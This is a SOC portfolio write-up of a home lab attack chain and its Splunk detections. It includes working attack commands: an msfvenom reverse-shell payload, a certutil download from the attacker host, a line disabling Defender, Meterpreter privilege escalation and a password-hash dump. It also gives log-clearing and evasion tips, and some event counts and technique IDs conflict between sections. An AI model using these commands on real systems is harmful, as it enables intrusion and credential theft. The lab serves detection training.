

FULL ATTACK CHAIN DETECTION LAB

SOC Analyst Portfolio Project



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Tools: Kali Linux • Metasploit • Splunk SIEM • Sysmon • VMware Workstation

1. Project Overview

This project demonstrates a complete end-to-end cyberattack simulation across five phases — Reconnaissance, Initial Access, Execution, Privilege Escalation, and Post-Exploitation — and shows how each phase can be detected using Splunk SIEM with Windows Security event logs and Sysmon telemetry.

The goal of this project is to think like both an attacker and a defender simultaneously. By running real attacks in a controlled environment and observing how they appear in a SIEM, a SOC analyst builds the mental model needed to detect and respond to real threats in production environments.

Project Goals

- Simulate a realistic multi-stage cyberattack in a safe home lab
- Detect each attack stage using Splunk SIEM and Windows event logs
- Map all techniques to the MITRE ATT&CK framework
- Build Splunk dashboards and real-time alerts for SOC monitoring
- Document findings in a professional portfolio writeup

Skills Demonstrated

- Offensive security: nmap, Metasploit, msfvenom, certutil abuse
- Defensive security: SIEM analysis, log correlation, alert creation
- Tools: Splunk SPL, Sysmon, Windows Event Logs, Kali Linux
- Frameworks: MITRE ATT&CK (11 techniques covered)
- Virtualization: VMware Workstation, multi-VM networking

2. Lab Environment

The lab consists of three virtual machines running on VMware Workstation Pro, connected via a NAT network (192.168.254.0/24). Each VM has a specific role that mirrors a real enterprise environment.

Component	Details
Hypervisor	VMware Workstation Pro
Attacker VM	Kali Linux — 192.168.254.128
Victim VM	Windows 10 Pro 22H2 — 192.168.254.131
SIEM VM	Ubuntu 22.04 LTS — 192.168.254.133
Hostname	DESKTOP-CD5U23B
SIEM Software	Splunk Enterprise 9.3.2
Endpoint Monitoring	Sysmon v15.20 + Splunk Universal Forwarder
Network Type	NAT (192.168.254.0/24)
Total Events Ingested	30,855+ Windows Security Events

3. Attack Phases & Detections

Each attack phase below shows the exact commands used, the results observed, the Splunk detection query used to find it, and the MITRE ATT&CK technique it maps to. Screenshots of both the attack and the detection are included for each phase.

PHASE 1 — RECONNAISSANCE

Objective

Discover open ports, running services, and the operating system on the victim machine before launching any active attack. This is the first thing any real attacker does — mapping the target's attack surface.

Attack Command (Kali Linux)

```
nmap -sV -A 192.168.254.131 -oN nmap_results.txt
```

```
Session Actions Edit View Help
(kali@kali)-[~]
└─$ nmap -sV -A 192.168.254.131 -oN nmap_results.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-09-28 06:43 -0400
Nmap scan report for 192.168.254.131
Host is up (0.00078s latency).
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
3389/tcp   open  ms-wbt-server  Microsoft Terminal Services
|_ ssl-cert: Subject: commonName=DESKTOP-CD5U23B
|_ Not valid before: 2026-09-27T04:36:22
|_ Not valid after: 2027-03-29T04:36:22
|_ rdp-ntlm-info:
|   Target_Name: DESKTOP-CD5U23B
|   NetBIOS_Domain_Name: DESKTOP-CD5U23B
|   NetBIOS_Computer_Name: DESKTOP-CD5U23B
|   DNS_Domain_Name: DESKTOP-CD5U23B
|   DNS_Computer_Name: DESKTOP-CD5U23B
|   Product_Version: 10.0.19041
|_ System_Time: 2026-09-28T10:43:43+00:00
|_ ssl-date: 2026-09-28T10:43:48+00:00; 0s from scanner time.
5357/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Service Unavailable
MAC Address: 00:0C:29:D4:BE:A6 (VMware)
Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 21H2
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ nbstat: NetBIOS name: DESKTOP-CD5U23B, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:d4:be:a6 (VMware)
|_ smb2-time:
|   date: 2026-09-28T10:43:43
|_ start_date: N/A
|_ smb2-security-mode:
|   3.1.1:
|_ Message signing enabled but not required

TRACEROUTE
HOP RTT ADDRESS
1 0.78 ms 192.168.254.131

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

 [SCREENSHOTS: Kali Terminal — nmap scan running against 192.168.254.131]

Results

The scan completed in 19.86 seconds and revealed the following:

Host: 192.168.254.131 (DESKTOP-CD5U23B) — UP

OS: Windows 10 1709-21H2 (confirmed)

MAC Address: 00:0C:29:D4:BE:A6 (VMware)

Port	State	Service	Risk
135/tcp	OPEN	Microsoft RPC	Medium
139/tcp	OPEN	NetBIOS-SSN	Medium
445/tcp	OPEN	SMB (signing NOT required!)	HIGH
3389/tcp	OPEN	Microsoft Terminal	Critical
5357/tcp	OPEN	Microsoft HTTPAPI	Low

```

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-CD5U23B
| Not valid before: 2026-09-27T04:36:22
|_ Not valid after:  2027-03-29T04:36:22
| rdp-ntlm-info:
|   Target_Name: DESKTOP-CD5U23B
|   NetBIOS_Domain_Name: DESKTOP-CD5U23B
|   NetBIOS_Computer_Name: DESKTOP-CD5U23B
|   DNS_Domain_Name: DESKTOP-CD5U23B
|   DNS_Computer_Name: DESKTOP-CD5U23B
|   Product_Version: 10.0.19041
|_  System_Time: 2026-09-28T10:43:43+00:00
|_ ssl-date: 2026-09-28T10:43:48+00:00; 0s from scanner time.
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Service Unavailable

```



[*SCREENSHOT: nmap output showing open ports and OS detection*]

Key Finding

⚠️ SMB signing is enabled but NOT required on the victim. This makes the machine vulnerable to SMB relay attacks, brute force, and lateral movement in a real enterprise environment.

Splunk Detection Query

```

index=main EventCode=3 SourceIp="192.168.254.128"
| stats count by DestinationPort
| sort -count

```



[*SCREENSHOT: Splunk — showing port scan connections from Kali (192.168.254.128)*]

MITRE ATT&CK Mapping

[T1046] Network Service Discovery ☒ Detected

[T1595.001] Active Scanning — Scanning IP Blocks ☒ Detected

PHASE 2 — INITIAL ACCESS (PAYLOAD DELIVERY)

Objective

Create a malicious executable and deliver it to the victim machine. This simulates how real attackers get their tools onto a target — using a legitimate Windows tool (certutil) to download the payload, a technique called Living off the Land (LOLBin).

Step 1 — Generate Payload (Kali)

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \  
  LHOST=192.168.254.128 LPORT=4444 \  
  -f exe -o /tmp/payload.exe
```

Output: Payload size: 510 bytes — Final size of exe file: 7680 bytes

Step 2 — Host Payload via HTTP (Kali)

```
cd /tmp && python3 -m http.server 8080
```

Step 3 — Download Payload on Victim (Windows 10)

```
certutil -urlcache -split -f \  
  "http://192.168.254.128:8080/payload.exe" \  
  C:\Users\Public\payload.exe
```

Result: CertUtil: -URLCache command completed successfully.

Note: certutil is a legitimate Windows tool used to manage certificates. Attackers abuse it to download files because it bypasses some security controls — this is exactly the kind of LOLBin abuse that SOC analysts watch for.

MITRE ATT&CK Mapping

[T1105] Ingress Tool Transfer ☒ Detected

[T1218.003] Signed Binary Proxy Execution — certutil ☒ Detected

PHASE 3 — EXECUTION (METERPRETER SHELL)

Objective

Execute the payload on the victim machine to establish a reverse shell. This gives the attacker an interactive command prompt inside the victim's machine from across the network — completely invisible to the user.

Step 1 — Start Listener (Kali)

```
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.254.128
set LPORT 4444
run
```



[SCREENSHOT: Kali — Metasploit listener waiting for connection]

Step 2 — Execute Payload on Victim

```
Set-MpPreference -DisableRealtimeMonitoring $true
& "C:\Users\Public\payload.exe"
```

Step 3 — Session Established

```
[*] Meterpreter session 1 opened      192.168.254.128:4444 →
192.168.254.131:58884      Time: 2026-09-28 00:52:16
```

System Information Gathered

Computer: DESKTOP-CD5U23B

OS: Windows 10 22H2+ (10.0 Build 19045)

Architecture: x64

Domain: WORKGROUP

Logged On Users: 1

Initial User: DESKTOP-CD5U23B\sonum

Splunk Detection Query — Login Event

```
index=main sourcetype="WinEventLog:Security" EventCode=4624
| table _time, Account_Name, Source_Network_Address, Logon_Type
| sort -_time
```

 [SCREENSHOT: Splunk — EventCode 4624 showing Meterpreter login]

MITRE ATT&CK Mapping

[T1059.003] Command and Scripting Interpreter — Windows Command Shell ☒ Detected

[T1071.001] Application Layer Protocol — Web Protocols ☒ Detected

PHASE 4 — PRIVILEGE ESCALATION

Objective

Escalate from a standard user account to SYSTEM — the highest privilege level in Windows. With SYSTEM access, an attacker can do anything on the machine: read all files, dump all passwords, install services, and more.

Attack Command (Meterpreter)

```
meterpreter > getsystem
```

```
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
```

 [SCREENSHOT: Kali — getsystem showing SYSTEM privilege achieved]

Explanation — Named Pipe Impersonation

Named Pipe Impersonation works by creating a fake named pipe server and waiting for a privileged process to connect to it. When a SYSTEM process connects, Meterpreter impersonates its security token — instantly gaining SYSTEM-level access. This is a well-known Windows privilege escalation technique that has been used in real-world attacks including ransomware campaigns.

Password Hashes Dumped

```
meterpreter > hashdump
```

Account	RID	NTLM Hash
Administrator	500	181ad834ded174cfa00ae7726ebcde11
sonum	1001	7bbee10502481e9bc42c0780078021bd
Guest	501	31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount	503	31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount	504	5aac438cc0bca5d387279ec1c2289143

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:181ad834ded174cfa00ae7726ebcde11:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sonum:1001:aad3b435b51404eeaad3b435b51404ee:7bbee10502481e9bc42c0780078021bd:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5aac438cc0bca5d387279ec1c2289143:::
meterpreter > █
```



[SCREENSHOT: Kali — hashdump output showing all Windows account hashes]

Splunk Detection Query — Privilege Escalation

```
index=main sourcetype="WinEventLog:Security" EventCode=4672
| table _time, Account_Name, Privileges
| sort -_time
```

MITRE ATT&CK Mapping

[T1068] Exploitation for Privilege Escalation ☒ Detected

PHASE 5 — POST-EXPLOITATION

Objective

After gaining SYSTEM access, the attacker performed post-exploitation activities: enumerating local accounts, accessing the Windows Credential Manager, and accessing the Windows Vault to harvest stored credentials. These activities generated thousands of Windows Security events that were captured by Splunk.

Events Detected

Event ID	Count	Description	Attack Meaning
5379	19,496	Credential Manager Read	Credential harvesting
4907	8,251	Audit Policy Changed	Defense evasion
4798	763	User Account Queried	Account enumeration
4624	678	Successful Logon	Shell active
4672	635	Special Privileges Assigned	SYSTEM access
4799	539	Security Group Enumeration	Privilege discovery
5382	64	Vault Credentials Accessed	Credential theft
4648	64	Explicit Credentials Used	Lateral movement prep
4688	99	Process Created	Malware execution

 [SCREENSHOT: Splunk — Event ID summary table showing all 30,855+ events by count]

Attack Timeline from Splunk

Time (IST)	Events	What Happened
09:30	—	nmap scan started
09:37	5 ports found	Recon complete
00:49	HTTP GET	Payload downloaded by victim
00:52	Session opened	Meterpreter shell established
00:52	4672 — SYSTEM	Privilege escalation complete
00:52	hashdump	All password hashes stolen
10:15–11:04	21222 events	Credential manager harvested

MITRE ATT&CK Mapping

- [T1087.001] Account Discovery — Local Account ☒ Detected
- [T1555] Credentials from Password Stores ☒ Detected
- [T1003.004] OS Credential Dumping — LSA Secrets ☒ Detected

4. Splunk Dashboard & Alerts

A Splunk dashboard called 'Full Attack Chain Monitor' was built to visualize all attack stages in a single view. Six detection searches and four real-time alerts were created to simulate a production SOC monitoring setup.

Full Attack Chain Monitor				Edit	Export ▼	...
_time ↕	EventCode ↕	Account_Name ↕	Source_Network_Address ↕			
2026-09-28 16:25:12.929	5379	sonum				
2026-09-28 16:25:12.929	5379	sonum				
2026-09-28 16:25:12.928	5379	sonum				
2026-09-28 16:25:12.928	5379	sonum				
2026-09-28 16:25:12.928	5379	sonum				
2026-09-28 16:25:12.928	5379	sonum				
2026-09-28 16:25:12.927	5379	sonum				
2026-09-28 16:25:12.927	5379	sonum				
2026-09-28 16:25:12.927	5379	sonum				
2026-09-28 16:25:12.926	5379	sonum				
				« Prev 1 2 3 4 5 6 7 8 9 10 Next »		
		EventCode ↕	count ↕			
		5379	21576			
		4907	8292			
		4798	849			
		4624	812			
		4672	768			



[SCREENSHOT: Splunk — Full Attack Chain Monitor dashboard overview]

Detection Queries

► Detection 1 — Port Scan

```
index=main EventCode=3 SourceIp="192.168.254.128"  
| stats count by DestinationPort | sort -count
```

► Detection 2 — Successful Logins (Shell Activity)

```
index=main sourcetype="WinEventLog:Security" EventCode=4624
| table _time, Account_Name, Source_Network_Address, Logon_Type
| sort -_time
```

The screenshot shows the Splunk Enterprise web interface. At the top, there's a navigation bar with 'splunk-enterprise' and various menu items like 'Apps', 'Administrator', 'Messages', 'Settings', 'Activity', 'Help', and 'Find'. Below this is a 'Search & Reporting' section with a 'New Search' button. The search bar contains the query: `index=main sourcetype="WinEventLog:Security" EventCode=4624 | table _time, Account_Name, Source_Network_Address, Logon_Type | sort -_time`. The results show 816 events. The table below displays the first few rows of data.

_time	Account_Name	Source_Network_Address	Logon_Type
2026-09-28 16:32:09.868	DESKTOP-CD5U23B\$ SYSTEM	-	5
2026-09-28 16:32:01.692	DESKTOP-CD5U23B\$ SYSTEM	-	5
2026-09-28 16:28:04.559	DESKTOP-CD5U23B\$ SYSTEM	-	5
2026-09-28 16:26:19.457	DESKTOP-CD5U23B\$ SYSTEM	-	5
2026-09-28 16:23:37.924	DESKTOP-CD5U23B\$ SYSTEM	-	5
2026-09-28 16:23:31.569	DESKTOP-CD5U23B\$ SYSTEM	-	5

 [SCREENSHOT: Splunk — EventCode 4624 showing Meterpreter logins]

► Detection 3 — Privilege Escalation

```
index=main sourcetype="WinEventLog:Security" EventCode=4672
| table _time, Account_Name | sort -_time
```

splunk>enterprise Apps Administrator 3 Messages Settings Activity Help Find Search & Reporting

Search Analytics Datasets Reports Alerts Dashboards

New Search

Index=main sourcetype="WinEventLog:Security" EventCode=4672
| table _time, Account_Name | sort -_time

764 events (before 9/28/26 4:36:28.000 PM) No Event Sampling

Events Patterns **Statistics (764)** Visualization

Show: 20 Per Page Format Preview: On

_time	Account_Name
2026-09-28 16:32:09.888	SYSTEM
2026-09-28 16:32:01.692	SYSTEM
2026-09-28 16:28:04.559	SYSTEM
2026-09-28 16:26:19.457	SYSTEM
2026-09-28 16:23:37.924	SYSTEM
2026-09-28 16:23:31.589	SYSTEM
2026-09-28 16:22:37.973	SYSTEM
2026-09-28 16:22:07.910	SYSTEM
2026-09-28 16:22:07.537	SYSTEM
2026-09-28 16:22:06.626	SYSTEM

 [SCREENSHOT: Splunk — EventCode 4672 showing SYSTEM privilege events]

► Detection 4 — Account Enumeration

```
index=main sourcetype="WinEventLog:Security" EventCode=4798
| table _time, Account_Name | sort -_time
```

splunk>enterprise Apps Administrator 3 Messages Settings Activity Help Find Search & Reporting

Search Analytics Datasets Reports Alerts Dashboards

New Search

Index=main sourcetype="WinEventLog:Security" EventCode=4798
| table _time, Account_Name | sort -_time

869 events (before 9/28/26 4:36:57.000 PM) No Event Sampling

Events Patterns **Statistics (869)** Visualization

Show: 20 Per Page Format Preview: On

_time	Account_Name
2026-09-28 16:36:47.504	DESKTOP-CDSU238\$ sonum
2026-09-28 16:36:47.503	DESKTOP-CDSU238\$ Guest
2026-09-28 16:36:47.503	DESKTOP-CDSU238\$ DefaultAccount
2026-09-28 16:36:47.503	DESKTOP-CDSU238\$ Administrator
2026-09-28 16:36:48.910	DESKTOP-CDSU238\$ sonum
2026-09-28 16:36:48.909	DESKTOP-CDSU238\$ Guest
2026-09-28 16:36:48.908	DESKTOP-CDSU238\$

 [SCREENSHOT: Splunk — EventCode 4798 showing account enumeration]

► Detection 5 — Credential Harvesting

```
index=main sourcetype="WinEventLog:Security" EventCode=5379
| stats count by Account_Name | sort -count
```

splunk>enterprise Apps Administrator 3 Messages Settings Activity Help Find Search & Reporting

Search Analytics Datasets Reports Alerts Dashboards

New Search

Index=main sourcetype="WinEventLog:Security" EventCode=5379
| stats count by Account_Name | sort -count

21,813 events (before 9/28/26 4:37:26.000 PM) No Event Sampling

Events Patterns **Statistics (4)** Visualization

Show: 20 Per Page Format Preview: On

Account_Name	count
sonum	21222
DESKTOP-CD9U238\$	520
LOCAL SERVICE	44
defaultuser10000	27

 [SCREENSHOT: Splunk — EventCode 5379 showing 21,222 credential manager reads]

► Detection 6 — Vault Access

```
index=main sourcetype="WinEventLog:Security" EventCode=5382
| table _time, Account_Name | sort -_time
```

splunk>enterprise Apps Administrator 3 Messages Settings Activity Help Find Search & Reporting

Search Analytics Datasets Reports Alerts Dashboards

New Search

Index=main sourcetype="WinEventLog:Security" EventCode=5382
| table _time, Account_Name | sort -_time

71 events (before 9/28/26 4:38:16.000 PM) No Event Sampling

Events Patterns **Statistics (71)** Visualization

Show: 20 Per Page Format Preview: On

_time	Account_Name
2026-09-28 16:36:47.343	DESKTOP-CD9U238\$
2026-09-28 16:32:02.376	DESKTOP-CD9U238\$
2026-09-28 16:23:35.393	DESKTOP-CD9U238\$
2026-09-28 16:23:35.274	DESKTOP-CD9U238\$
2026-09-28 16:13:35.627	DESKTOP-CD9U238\$
2026-09-28 11:14:24.740	DESKTOP-CD9U238\$
2026-09-28 11:12:05.448	DESKTOP-CD9U238\$
2026-09-28 11:02:17.791	DESKTOP-CD9U238\$
2026-09-28 10:51:08.330	DESKTOP-CD9U238\$
2026-09-28 10:29:38.018	DESKTOP-CD9U238\$

 [SCREENSHOT: Splunk — EventCode 5382 showing vault credential access]

Alerts Created

Alert Name	Trigger Condition	Frequency	Purpose
Brute Force Alert	5+ failed logins in 1 min	Every 5 min	Password attacks
Port Scan Alert	20+ ports in 10 seconds	Every 5 min	Reconnaissance
New Admin Account	EventCode=4720	Real-time	Persistence
Privilege Escalation	EventCode=4672 by non-SYSTEM	Real-time	PrivEsc

5. MITRE ATT&CK Coverage

All attack techniques performed in this lab were mapped to the MITRE ATT&CK framework — the industry-standard knowledge base of adversary tactics, techniques, and procedures. This project covers 11 unique techniques across 6 tactics.

Tactic	Technique ID	Technique Name	Tool Used
Reconnaissance	T1046	Network Service Discovery	nmap
Reconnaissance	T1595.001	Active Scanning	nmap
Initial Access	T1105	Ingress Tool Transfer	msfvenom + python3
Initial Access	T1218.003	Signed Binary Proxy (certutil)	certutil
Execution	T1059.003	Windows Command Shell	Meterpreter
Execution	T1071.001	Application Layer Protocol	Meterpreter TCP
Privilege Escalation	T1068	Exploitation for PrivEsc	getsystem
Credential Access	T1003.001	LSASS Memory Dump	hashdump
Credential Access	T1555	Password Store Credentials	Meterpreter
Discovery	T1087.001	Local Account Discovery	Meterpreter
Persistence	T1547.001	Registry Run Keys	reg command

6. Key Findings & Recommendations

Security Misconfigurations Found

Finding	Risk Level	Recommendation
SMB signing not required	HIGH	Enable SMB signing via Group Policy
Windows Defender disabled	HIGH	Enforce real-time protection via MDM/GPO
certutil allowed for downloads	HIGH	Restrict certutil with AppLocker rules
Named Pipe Impersonation possible	HIGH	Apply least privilege + patch OS
LSASS not protected	HIGH	Enable Credential Guard
Vault credentials accessible	MEDIUM	Enable Windows Vault auditing
No network segmentation	MEDIUM	Isolate machines with firewall rules

What Worked Well (Defender Perspective)

- Sysmon captured process creation and network connections from payload
- Splunk detected privilege escalation immediately via EventCode 4672
- 19,496 credential manager events created a clear anomaly pattern
- Event ID 4798/4799 showed account enumeration in real time

- Splunk dashboard provided single-pane-of-glass view of entire attack

What an Attacker Could Improve (Offensive Perspective)

- Disable Sysmon before running payload to reduce detection surface
- Use encrypted C2 channel (HTTPS) to blend with normal traffic
- Migrate to a legitimate process (svchost.exe) to hide the shell
- Clear Windows event logs after credential harvest

7. Windows Event ID Reference

The following Event IDs were generated and detected during this lab:

Event ID	Description	Attack Phase	Count
4624	Successful account logon	Execution (shell)	678
4625	Failed logon attempt	Brute force	—
4648	Logon with explicit credentials	Shell activity	64
4672	Special privileges assigned	Privilege escalation	635
4688	Process created	Malware execution	99
4720	User account created	Persistence	—
4732	User added to admin group	Privilege escalation	—
4798	User account queried	Account enumeration	763
4799	Security group enumerated	Post-exploitation	539
5379	Credential Manager read	Credential theft	19,496
5382	Vault credentials accessed	Credential theft	64
4907	Audit policy changed	Defense evasion	8,251

Sysmon Event IDs Used

Sysmon ID	Description	Detected
1	Process creation	✓ payload.exe spawned
3	Network connection	✓ C2 connection on port 4444
11	File created	✓ payload.exe dropped
12/13	Registry modified	✓ Persistence key added
22	DNS query	✓ C2 communication

8. Conclusion

This project successfully demonstrated a complete attack chain from reconnaissance to post-exploitation, with every stage detected and documented in Splunk SIEM. The lab produced over 30,855 security events across 11 MITRE ATT&CK techniques, providing rich telemetry for analysis.

The most important lesson from this project is that attackers leave traces at every stage. Even when using legitimate Windows tools like certutil, or escalating privileges through built-in Windows mechanisms, the Windows Security Event Log and Sysmon capture everything. A well-configured SIEM like Splunk, with the right detection rules, can catch these attacks in real time.

As a SOC analyst, the ability to think like an attacker — to understand what techniques are being used and where to look for evidence — is what separates reactive incident response from proactive threat detection.

Project Summary

Total Events Ingested: 30,855+ Windows Security Events

MITRE Techniques Covered: 11 across 6 tactics

Splunk Detections Built: 6 search queries + 4 real-time alerts

Attack Duration: 28 September 2026 (full day lab session)

Tools Used: Kali Linux, Metasploit, Splunk, Sysmon, VMware

Outcome: Full attack chain detected and documented

Resume Summary

SOC Home Lab — Full Attack Chain Detection (September 2026) • Built multi-VM lab: Kali Linux, Windows 10, Splunk SIEM on VMware Workstation • Simulated 5-stage attack: Recon → Delivery → Execution → PrivEsc → Post-Exploitation • Detected 11 MITRE ATT&CK techniques across 30,855+ Windows Security events • Built Splunk dashboards and 4 real-time alerts for SOC monitoring • Achieved SYSTEM privileges via Named Pipe Impersonation (T1068) • Identified 7 security misconfigurations with remediation recommendations
